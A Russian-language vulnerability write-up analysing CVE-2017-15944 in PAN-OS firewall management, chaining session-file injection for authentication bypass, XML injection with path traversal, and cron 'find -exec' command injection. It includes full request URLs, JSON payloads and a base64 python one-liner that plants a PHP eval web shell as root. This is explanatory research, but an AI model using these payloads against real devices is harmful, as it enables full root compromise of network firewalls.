Содержание статьи
Всего было найдено три уязвимости в реализации веб-интерфейса управления аппаратными брандмауэрами. Цепочка из них позволяет выполнить произвольный код от имени суперпользователя и скомпрометировать всю систему. Они получили один идентификатор CVE-2017-15944. Давай посмотрим на них поближе.
Для тестирования подойдет любая из этих версий системы:
- PAN-OS 6.1.18 и ниже,
- PAN-OS 7.0.18 и ниже,
- PAN-OS 7.1.13 и ниже,
- PAN-OS 8.0.5 и ниже.
Да, уязвимы почти все актуальные ветки, но вот одна беда — просто так заполучить их не выйдет, потому что PAN-OS поставляется только в комплекте с фирменными аппаратными файрволами. Если у тебя завалялся такой под рукой, то ты, конечно же, можешь перейти на официальный сайт в раздел загрузок и скачать нужную прошивку. Если такой возможности нет, то, увы, поднять стенд не получится и придется наблюдать за ходом эксплуатации в статье. Если придумаешь иной способ, не забудь сообщить. 😉
Обход авторизации
Разумеется, все функции панели управления закрыты от любопытных глаз при помощи логина и пароля, и первый баг, о котором пойдет речь, — это небольшой ее обход. В качестве веб-сервера в PAN-OS используется некая солянка из технологий, которая включает несколько самописных библиотек.
Конфигурационный файл /etc/appweb3/conf/common.conf
содержит список объектов, которые закрыты авторизацией. Выглядят такие секции следующим образом:
/etc/appweb3/conf/common.conf
144: <Location /php/monitor>
145: SetHandler phpHandler
146: panAuthCheck on
147: </Location>
148: <Location /php/utils>
149: SetHandler phpHandler
150: panAuthCheck on
151: </Location>
152: <Location /php>
153: panAuthCheck on
154: </Location>
155: <Location /PAN_help>
156: panAuthCheck on
157: </Location>
...
162: <Location /upload>
163: panAuthCheck on
164: AddInputFilter uploadFilter
165: </Location>
Директивы panAuthCheck
, установленные в on
, закрывают указанный URI авторизационной формой. При попытке перейти по такому адресу текущая сессия пользователя проверяется на наличие валидной аутентификации. За это отвечает библиотека /usr/local/lib/shobjs/libpanApiWgetFilter.so
.
/etc/appweb3/conf/common.conf
60: LoadModulePath "/usr/local/lib/shobjs:/usr/local/lib32/shobjs"
61: LoadModule panappweb3Module libpanappweb3
62: LoadModule panApiWgetFilter libpanApiWgetFilter
63: LoadModule panAuthFilter libpanApiWgetFilter
Затем функция openAuthFilter
проверяет наличие сессионной куки PHPSESSID
и передает управление функции readSessionVarsFromFile
для загрузки и извлечения нужных переменных (dloc
и user
) из файла сессии.
libpanApiWgetFilter.c
1282: void __cdecl openAuthFilter(MaQueue_0 *q)
1283: {
...
1310: if ( getCookieValues(&myFuncResult, ptrMyAuthFilter) )
...
1320: v1 = maGetStageData(ptrMyAuthFilter->conn, "panAuthFilter.PHPSESSID");
...
1321: hasSessionCookie = v1 != 0;
1322: if ( v1 != 0 )
1323: {
1324: if ( readSessionVarsFromFile(ptrMyFuncResult, ptrMyAuthFilter) )
libpanApiWgetFilter.c
818: pan_result_t __cdecl readSessionVarsFromFile(ptrFuncResult result, ptrAuthFilter me)
819: {
...
845: ssid = myGetStageData(me->conn, "panAuthFilter.PHPSESSID");
...
847: path = (pan_char_t *)__pan_calloc(me->allocator, 1, pathSize);
848: if ( path )
849: {
850: sprintf(path, "%s%s%s", "/tmp/", "sess_", ssid);
851: fp = fopen(path, "r");
Проблемное место — это кастомная реализация алгоритма, который читает переменные сессии. Вместо того чтобы воспользоваться какой-нибудь стандартной функцией для работы с сериализованными данными, разработчики написали свою, которая основана на цепочке вызовов strtok
для разбиения строки на части.
libpanApiWgetFilter.c
886: fseek(fp, 0, 0);
887: if ( fread(buf, sbuf.st_size, 1u, fp) == 1 )
888: {
889: fclose(fp);
890: buf[sbuf.st_size] = 0;
891: delim = "|";
892: remaining = 0;
893: skey = strtok_r(buf, "|", &remaining);
894: do
895: {
896: if ( !skey )
897: break;
898: if ( !remaining )
899: break;
900: remaining2 = 0;
901: ptType = strtok_r(remaining, ":", &remaining2);
902: if ( !ptType )
903: break;
904: strtok_r(0, ":", &remaining2);
...
920: skey = strtok_r(remaining2, delim, &remaining);
...
924: tSkeyValue = strtok_r(0, ";", &remaining2);
925: if ( *ptType == 115 )
926: {
927: tSkey = 0;
928: if ( !strcasecmp("dloc", skey) )
929: {
930: tSkey = "panAuthFilter.dloc";
931: }
932: else if ( !strcasecmp("user", skey) )
933: {
934: tSkey = "panAuthFilter.user";
935: }
936: if ( tSkey && tSkeyValue && *tSkeyValue )
937: {
...
950: skey = strtok_r(0, delim, &remaining2);
951: remaining = remaining2;
...
954: while ( skey && *skey != 10 );
955: if ( !maGetStageData(me->conn, "panAuthFilter.user") )
956: mprLog(
957: globalMpr,
958: 0,
959: "panAuthFilter:panAuthFiler: management cookie missing. file size %d",
960: sbuf.st_size);
961: if ( !maGetStageData(me->conn, "panAuthFilter.dloc") )
962: mprLog(globalMpr, 0, "panAuthFilter:panAuthFilter: dloc cookie missing. file size %d", sbuf.st_size);
963: __pan_free(me->allocator, path, pathSize);
964: __pan_free(me->allocator, buf, bufSize);
965: v3 = 0;
966: }
Сам формат обрабатываемых данных похож на то, что возвращает функция serialize
в PHP.
имя_переменной|s:длина_переменной:"значение"; имя_переменной|s:длина_переменной:"еще_значение";
И так далее. Для разделения описаний переменных используется точка с запятой. Увы, такая реализация содержит логические изъяны, которые помогут нам в дальнейшей эксплуатации. Например, мы можем выполнять банальные инъекции, используя в качестве их значений последовательность ";
. Так можно управлять значением переменной user
.
Теперь осталось найти возможность, которая позволит нам записать данные в файл сессии. Посмотрим на скрипт cms_changeDeviceContext.esp
, в котором происходит работа с переменной $_SESSION
. Его можно вызвать без авторизации.
/var/appweb/htdocs/esp/cms_changeDeviceContext.esp
02: WebSession::start();
03: require 'panmodule.php';
04:
05: foreach ($_SESSION as $key => $value) {
06: if (strpos($key, "dSId_") === 0) {
07: unset($_SESSION[$key]);
08: }
09: }
10: /** @noinspection PhpUndefinedFunctionInspection */
11: $string_argout = panUserSetDeviceLocation($_SESSION['user'], $_GET['device'], 0, new php_string_argout());
Функция panUserSetDeviceLocation
находится в подгружаемой библиотеке /usr/lib/php/modules/panmodule.so
.
/etc/appweb3/php.ini
455: extension_dir = "/usr/lib/php/modules"
...
552: extension=panmodule.so
Чтобы посмотреть, что происходит с переданными в функцию параметрами, нам пригодится дизассемблер IDA. Благо сейчас есть бесплатная версия — ее нам вполне хватит, потому что библиотека скомпилирована для архитектуры Intel 80386.
Атрибут deviceStr
попадает в функцию из URL параметра device
(переменная $_GET['device']
). Далее значение попадает в panPhpConvertStringToLoc
.
panmodule.c
18464: pan_uint32_t __cdecl panUserSetDeviceLocation(char *cookie, char *deviceStr, int useWriteFmt, php_string_argout *string_argout)
18465: {
...
18498: if ( panPhpConvertStringToLoc(deviceStr, &dloc) )
Логика работы со значением примерно следующая.
Значение до первого двоеточия конвертируется в десятичное целое.
panmodule.c
19354: strcpy(seps, ":");
...
19362: v3 = __strtok_r(strCopy, seps, (char **)tmpBuf);
19363: if ( v3 )
...
19377: loc->loc = strtol(v3, 0, 10);
Производится поиск следующего двоеточия, и данные между двумя двоеточиями копируются в переменную deviceName
. Размер данных равен максимум 0x20 байтам. Если переданное значение оказалось большего размера, то все остальное отбрасывается.
19370: if ( v4 == 1 )
19371: sstrncpy(loc->deviceName, v3, 32);
Далее идет поиск следующего символа с двоеточием и выполняется аналогичная операция, только для переменной vsysName
.
19373: sstrncpy(loc->vsysName, v3, 32);
После этого полученная переменная deviceName
отправляется в функцию panPhpSetDeviceForSession
для дальнейшей обработки.
18505: v4 = panPhpSetDeviceForSession(cookie, dloc.deviceName, errMsg, 0x200u);
...
20823: signed int __cdecl panPhpSetDeviceForSession(pan_char_t *cookie, pan_char_t *devName, pan_char_t *errMsgBuf, pan_uint32_t bufSize)
20824: {
...
20829: pan_char_t firstVsys[32]; // [sp+30h] [bp-2Ch]@6
...
20846: sstrncpy(firstVsys, "vsys1", 32);
В процессе выполнения этой функции происходит вызов panPhpSetDeviceAndVsysForSession
, которая устанавливает значения переменных dloc
и loc
в соответствии с переданными данными.
19328: panPhpSetSessionVar("dloc", tmpLocStr);
19329: tmpLoc.loc = (unsigned int)panSwalIsVsysName(vsysName) < 1 ? 128 : 16;
19330: if ( vsysName )
19331: {
19332: if ( !*vsysName )
19333: tmpLoc.loc = 8;
19334: sstrncpy(tmpLoc.vsysName, vsysName, 32);
19335: panPhpConvertLocToString(&tmpLoc, tmpLocStr, 0x100u);
19336: panPhpSetSessionVar("loc", tmpLocStr);
Сделаем вот такой запрос:
https://panos.visualhack:4443/esp/cms_changeDeviceContext.esp?device=1024:aaaa:bbbb
После чтения данных сессии переменные будут иметь следующие значения:
dloc|s:6:"8:aaaa";loc|s:13:"16:aaaa:vsys1";
dloc|s:6:"8:aaaa";
loc|s:13:"16:aaaa:vsys1";
dloc = "8:aaaa"
loc = "16:aaaa:vsys1"
Теперь при каждом запросе будет проверяться валидность сессии при помощи panCheckSessionExpired
, в рамках которой будет выполняться panBuildQueryCheckSessionExpired
из уже известной нам библиотеки /usr/local/lib/shobjs/libpanApiWgetFilter.so
.
libpanApiWgetFilter.c
1058: pan_result_t __cdecl panCheckSessionExpired(ptrFuncResult result, ptrAuthFilter me)
1059: {
...
1079: retval = panBuildQueryCheckSessionExpired(&myFuncResult, me, 0);
libpanApiWgetFilter.c
1037: pan_result_t __cdecl panBuildQueryCheckSessionExpired(ptrFuncResult result, ptrAuthFilter me, bool refresh)
1038: {
1039: pan_char_t *user; // ST1C_4@1
1040: const char *v4; // eax@2
1041: int v6; // [sp+Ch] [bp-1Ch]@1
1042:
1043: user = myGetStageData(me->conn, "panAuthFilter.user");
1044: pan_string_buffer_appendf(result->data.str, "<request cmd='op' cookie='%s' %s", user, &unk_8665);
1045: if ( refresh )
1046: v4 = "yes";
1047: else
1048: v4 = "no";
1049: pan_string_buffer_appendf(result->data.str, " refresh='%s'>", v4, v6);
1050: pan_string_buffer_append(result->data.str, "<operations xml='yes'><show><cli><idle-timeout/></cli></show>");
1051: pan_string_buffer_append(result->data.str, "</operations></request>");
1052: return 0;
1053: }
Эта функция формирует XML-запрос к бэкенду, который должен дать ответ о жизнеспособности используемой сессии.
Чтобы выполнение перешло в эту ветку кода, нужна переменная user
. Это не проблема, ведь у нас на примете имеется не совсем корректно написанный парсер данных из файла сессии. Все, что нам нужно, — это заинжектить требуемую переменную.
https://panos.visualhack:4443/esp/cms_changeDeviceContext.esp?device=1024:aaaa%27";user|s:
Здесь:
dloc|s:15:"8:aaaa'";user|s";loc|s:22:"16:aaaa'";user|s:vsys1";
dloc|s:15:"8:aaaa'";
user|s";loc|s:22:"16:aaaa'";
user|s:vsys1";
После такого запроса переменная user
(panAuthFilter.user
) становится равной 16:aaaa'
. А результатом работы функции panBuildQueryCheckSessionExpired
будет следующий XML-запрос:
<request cmd='op' cookie='16:aaaa'' refresh='no'>
<operations xml='yes'>
<show><cli><idle-timeout/></cli></show>
</operations>
</request>
Дополнительная одинарная кавычка делает XML невалидным, и парсер вернет ошибку вида
<response status="error" code="18">
<msg>
<line>Malformed Request</line>
</msg>
</response>
Однако функция panCheckSessionExpired
все равно вернет единицу, это будет означать, что аутентификация пройдена и сессия валидна.
libpanApiWgetFilter.c
1337: if ( panCheckSessionExpired(ptrMyFuncResult, ptrMyAuthFilter) == 2 )
1338: {
...
1341: }
1342: else
1343: {
1344: mprLog(globalMpr, 9, "panAuthFilter:openAuthFilter %s We are done!!!", ptrMyAuthFilter->conn->request->url);
1345: }
Проверить успешность обхода авторизации можно на отладочной странице: https://panos.visualhack:4443/php/utils/debug.php
.
После создания такой сессии ты сможешь ходить по папкам, которые закрыты директивой panAuthCheck
.
Создание директорий
Переходим к следующей уязвимости. Как и в любой современной системе, в PAN-OS имеется API. Чтобы делать прямые запросы к нему, можно использовать скрипт route.php
из папки с утилитами.
Однако доступ к скрипту возможен только для авторизованных пользователей. Это не проблема, ведь у нас уже имеется готовый обход. Так что смелее подставляй в запрос идентификатор сессии, полученный манипуляциями из прошлого раздела, и дело в шляпе.
/var/appweb/htdocs/php/utils/router.php
3: require_once($_SERVER['DOCUMENT_ROOT'] . '/../htdocs/php/include/common.php');
4: require_once($_SERVER['DOCUMENT_ROOT'] . '/../htdocs/php/include/ExtDirect.php');
5:
6: class ExtDirect_Router extends RouterAbstract {
7: private $_api;
Нужный метод можно вызывать, указывая его название после router.php. Например, чтобы выполнить Administrator.get
, делаем запрос к https://panos.visualhack:4443/php/utils/router.php/Administrator.get. Все просто. По счастливой случайности это именно тот метод, что нам интересен. Сначала создается экземпляр класса ExtDirect_Router
, который является наследником RouterAbstract
.
/var/appweb/htdocs/php/utils/router.php
6: class ExtDirect_Router extends RouterAbstract {
7: private $_api;
...
86: $router = new ExtDirect_Router();
87: Http::headerType('json');
88: echo $router->getResponse();
Метод getResponse
вызывает dispatch
, а в качестве аргумента использует данные, которые мы передаем в запросе в виде JSON.
/var/appweb/htdocs/php/include/RouterAbstract.php
111: public function getResponse(array $requestData=array()) {
112: if (empty($requestData))
113: $requestData=$GLOBALS;
114:
115: return $this->dispatch($requestData);
116: }
/var/appweb/htdocs/php/include/RouterAbstract.php
25: private function dispatch(array $requestData) {
26: $request = $this->parseRequest($requestData);
Метод parseRequest
использует функцию json_decode
, чтобы представить переданные данные в виде объекта.
/var/appweb/htdocs/php/include/RouterAbstract.php
18: protected function parseRequest(array $requestData) {
19: if (isset($requestData['HTTP_RAW_POST_DATA'])) {
20: return json_decode($requestData['HTTP_RAW_POST_DATA']);
21: }
22: return null;
23: }
Возьмем такой более-менее валидный запрос.
{
"action": "PanDirect",
"method": "execute",
"data": [
"07c5807d0d927dcd0980f86024e5208b",
"Administrator.get",
{
"changeMyPassword": true,
"template": "asd",
"id": "admin"
}
],
"type": "rpc",
"tid": 713
}
После того как JSON конвертируется в объект, метод rpc
проверяет, существует ли указанный класс и метод из параметров action
и method
соответственно.
/var/appweb/htdocs/php/include/RouterAbstract.php
27: $response = $this->rpc($request);
/var/appweb/htdocs/php/include/RouterAbstract.php
49: private function rpc($request) {
50: try {
51: $class = Xml::escape($request->action);
52: $method = Xml::escape($request->method);
53: $tid = Xml::escape($request->tid);
54: $params = $request->data;
55:
56: $v=$this->isValidMethod($class, $method);
Следующим шагом создается объект класса, который указан в $request->action
, в нашем случае это PanDirect
. Последующий вызов call_user_func_array
приводит к выполнению PanDirect->execute
где в качестве параметров указаны данные из массива data
.
74: $instance= new $request->action;
...
77: $retval=call_user_func_array(array($instance,$method), $params);
Логика этого метода следующая.
/var/appweb/htdocs/php/include/PanDirectLite.php
59: function execute($callFunction, $jsonArgs) {
60: /* @var $reflection ReflectionClass */
61: /* @var $method ReflectionMethod */
62: list($reflection, $isStatic, $method) = $this->checkValidRemoteCall($callFunction, true);
63: if ($isStatic) {
64: return $method->invokeArgs(NULL, array($jsonArgs));
65: } else {
66: $obj = $reflection->newInstanceArgs(array($jsonArgs));
67: return $obj->$method();
68: }
69: }
checkValidRemoteCall
выполняет проверку метода: объявлен он статическим или нет;- если да, то выполняется его прямой вызов. Если нет, то переменная
$obj
становится экземпляром указанного класса. В нашем случае этоAdministrator
; $obj->$method()
вызывает указанный метод, в нашем случае этоget
.
Если в аргументах был указан флаг changeMyPassword
, то происходит вызов метода getConfigByXpath
.
/var/appweb/htdocs/php/device/Administrator.php
10: class Administrator extends ManagementConfigAbstraction {
...
85: public function get() {
...
86: // detail viewer
87: if ( isset($this->jsonArgs->changeMyPassword) ) {
88: return Direct::getConfigByXpath("/config/mgt-config/users/entry[@name='" . $this->jsonArgs->id . "']");
Этот метод формирует xpath
, который будет отправлен бэкенду mgmtsrvr
.
/var/appweb/htdocs/php/include/Direct.php
688: static function getConfigByXpath($xpath, $attribute=null, $options=null) {
689: $req = XmlRequest::get($xpath, $attribute);
690: return $xmlDoc = Backend::getArray($req, $options);
691: }
/var/appweb/htdocs/php/include/Backend.php
377: static function getArray($req, $options=NULL, $connectionOptions = null) {
378: $dom = self::getDom($req, $connectionOptions);
/var/appweb/htdocs/php/include/Backend.php
350: static function getDom($msg, $connectionOptions = null) {
351: $msg = self::massageMsg($msg);
352: $data = self::getConnection()->send($msg, $connectionOptions);
/var/appweb/htdocs/php/include/MSConnection.php
07: class MSConnection {
...
43: function send($requestXml, $connectionOptions = null) {
...
50: $this->writePayload($requestXml, $payloadLength);
/var/appweb/htdocs/php/include/MSConnection.php
07: class MSConnection {
...
95: public function writePayload(& $requestXml, $payloadLength) {
96: socket_write($this->sock, $requestXml, $payloadLength);
97: }
В результате на сервер уходит вот такой XML:
<request cmd="get"
obj="/config/mgt-config/users/entry[@name='admin']"
cookie="cb3824b1b1fd3ac7138682ed67e03b8e"/>
</request>
При обработке полученного запроса демон mgmtsrvr
выполняет функцию pan_mgmtsrvr_client_svc
.
mgmtsrvr.c
3603: void *__cdecl __noreturn pan_mgmtsrvr_client_svc(void *arg)
3604: {
И наконец, отрабатывает pan_jobmgr_store_job_result
из огромной библиотеки /usr/local/lib/libpanmp_mp.so.1
. Функция создает временный файл XML в директории /opt/pancfg/session/pan/user_tmp/{cookie}/{jobid}.xml
, где cookie
— это атрибут из тега request
.
libpanmp_mp.so.1.c
401430: signed int __usercall pan_jobmgr_store_job_result@<eax>(int a1@<eax>, int a2@<edx>)
401431: {
...
401440: if ( a1 )
401441: {
401442: snprintf(&v5, 0x400u, "%s%s", "/opt/pancfg/session/pan/user_tmp/", *(_DWORD *)(a1 + 476));
401443: if ( pan_dir_create_tree(&v5) >= 0 )
Вот здесь и закралась проблема. Парсер никак не фильтрует пользовательские данные, поэтому возможна XML-инъекция, благодаря которой мы можем указать атрибут cookie
. При обработке этой задачи будет создана папка с произвольным именем. А используя технику path traversal, мы можем выйти из указанной папки и создать директорию в любом месте на диске, так как все это дело отрабатывает от рута. 🙂
Вот такой запрос будет создавать папку jbfc в директории tmp:
{
"action": "PanDirect",
"method": "execute",
"data": [
"07c5807d0d927dcd0980f86024e5208b",
"Administrator.get",
{
"changeMyPassword": true,
"template": "asd",
"id": "admin']\" async-mode='yes' refresh='yes' сookie='../../../../../../tmp/jbfc'/>\u0000"
}
],
"type": "rpc",
"tid": 713
}
Чтобы отбросить те атрибуты, которые добавляет вызов XmlRequest::get($xpath, $attribute)
, воспользуемся старым добрым null-байтом.
/var/appweb/htdocs/php/include/XmlRequest.php
39: static function get($xpath, $attributes = null) {
40: return sprintf('<request cmd=\'get\' obj="%s" cookie="%s"%s></request>',
41: $xpath, Session::cookie(), self::appendAttributes($attributes));
42: }
Дорога к RCE
Наконец-то мы приблизились к самому интересному — выполнению произвольных команд в системе.
Такие сложные системы не обходятся без планировщика заданий, вот и здесь крутится демон cron и выполняет разные скрипты. Один из них — это /usr/local/bin/genindex_batch.sh
, он вызывает /usr/local/bin/genindex.sh
, который отвечает за переиндексацию данных в БД.
/usr/local/bin/genindex_batch.sh
9: /usr/local/bin/genindex.sh $date >> /var/log/pan/indexgen.log 2>&1
Здесь есть интересный кусок кода, который выполняет поиск файлов в директории $PAN_BASE_DIR/logdb/$dir/1
(/opt/pancfg/mgmt/logdb/$dir/1).
genindex_batch.sh
2: export PAN_BASE_DIR=/opt/pancfg/mgmt
/usr/local/bin/genindex.sh
222: echo "Updating indices for $db db"
223: for day in `find $PAN_BASE_DIR/logdb/$dir/1 -mindepth 1 -maxdepth 1 -mtime -30 | sort -r`
Затем скрипт пробегает по полученному списку и выполняет некие команды. Нас интересуют не сами команды, а то, что имя директории (переменная $day
) попадает в исполняемую строку.
/usr/local/bin/genindex.sh
227: for logfile in `find $day -mmin +5 -name pan.*.log | sort -r`
Теперь, используя описанную технику создания директорий с произвольным именем, мы сможем внедрить параметры в вызов бинарника find. Далеко ходить не нужно, ведь у него есть замечательный параметр -exec.
Название говорит само за себя: после каждого найденного файла выполняется указанная там команда. UNIX-подобные системы относятся к названиям файлов и каталогов далеко не так строго, как Windows. По большому счету запрещены только символы слеша (/
) и null-байт (\0
), все остальное можно спокойно использовать. В PoC для исполнения команд используется Python и Base64.
f=open('/var/appweb/htdocs/poc.php', 'w');f.write("<?php @eval($_POST['jbfcthere']);?>");f.close();
python -c exec("Zj1vcGVuKCcvdmFyL2FwcHdlYi9odGRvY3MvcG9jLnBocCcsICd3Jyk7Zi53cml0ZSgiPD9waHAgQGV2YWwoJF9QT1NUWydqYmZjdGhlcmUnXSk7Pz4iKTtmLmNsb3NlKCk7".decode("base64"))
В качестве демонстрации указан набор команд, которые создают PHP-шелл, доступный из браузера. По умолчанию веб-рут располагается по адресу /var/appweb/htdocs/
, поэтому файл poc.php создается именно там.
{
"action": "PanDirect",
"method": "execute",
"data": [
"07c5807d0d927dcd0980f86024e5208b",
"Administrator.get",
{
"changeMyPassword": true,
"template": "asd",
"id": "admin']\" async-mode='yes' refresh='yes' cookie='../../../../../../opt/pancfg/mgmt/logdb/traffic/1/* -print -exec python -c exec(\"Zj1vcGVuKCcvdmFyL2FwcHdlYi9odGRvY3MvcG9jLnBocCcsICd3Jyk7Zi53cml0ZSgiPD9waHAgQGV2YWwoJF9QT1NUWydqYmZjd2FzaGVyZSddKTs/PiIpO2YuY2xvc2UoKTs=\".decode(\"base64\")) ;'/>\u0000"
}
],
"type": "rpc",
"tid": 713
}
Разумеется, ты можешь использовать свои команды, только обрати внимание: иногда в Base64 встречаются слеши, не забывай их экранировать. Также держи в уме, что размер названия может быть не больше 255 символов.
После того как запрос выполнится, нужно подождать, пока выполнится задача по индексации. Она отрабатывает на 0, 15, 30 и 45-й минуте каждого часа, то есть каждые пятнадцать минут.
/etc/cron.d/indexgen
SHELL=/bin/bash
0,15,30,45 * * * * root /usr/local/bin/genindex_batch.sh
Готовые PoC ты можешь найти тут и тут.
Демонстрация уязвимости (видео)
Выводы
Вот такие интересные уязвимости нашлись в операционке устройства, которое за немалые деньги защищает корпоративную безопасность. Хоть в официальном руководстве и говорится о том, что панелька, доступная из интернета, — это bad practice, подобные решения частенько встречаются. Например, нехитрым запросом в Shodan можно отыскать несколько тысяч таких устройств, спокойно доступных извне.
Хочу также напомнить, что команды атакующего выполняются от имени суперпользователя. Это значит, что система будет скомпрометирована полностью. А если учесть, что это файрвол, то импакт от такой атаки может стать колоссальным.
Тем не менее баги закрыты, патчи выпущены, спеши обновиться, если в твоем ведении одна из таких машин.